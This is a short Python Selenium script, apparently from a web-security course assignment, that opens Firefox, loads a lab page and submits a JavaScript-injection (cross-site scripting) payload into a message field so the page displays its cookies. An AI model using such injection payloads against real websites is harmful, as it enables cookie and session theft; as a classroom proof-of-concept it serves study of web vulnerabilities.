<gh_stars>1-10
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.desired_capabilities import DesiredCapabilities

caps = DesiredCapabilities.FIREFOX
caps["marionette"] = True
caps["binary"] = "/usr/bin/firefox"

driver = webdriver.Firefox(capabilities=caps,executable_path='./exploit16/geckodriver')
driver.get("http://www.wsb.com/Assignment2/case16/controller.php")
elem = driver.find_element_by_id("msg")
elem.send_keys('";alert(document.cookie);"')
btn = driver.find_element_by_id("send")
btn.click()
driver.close()
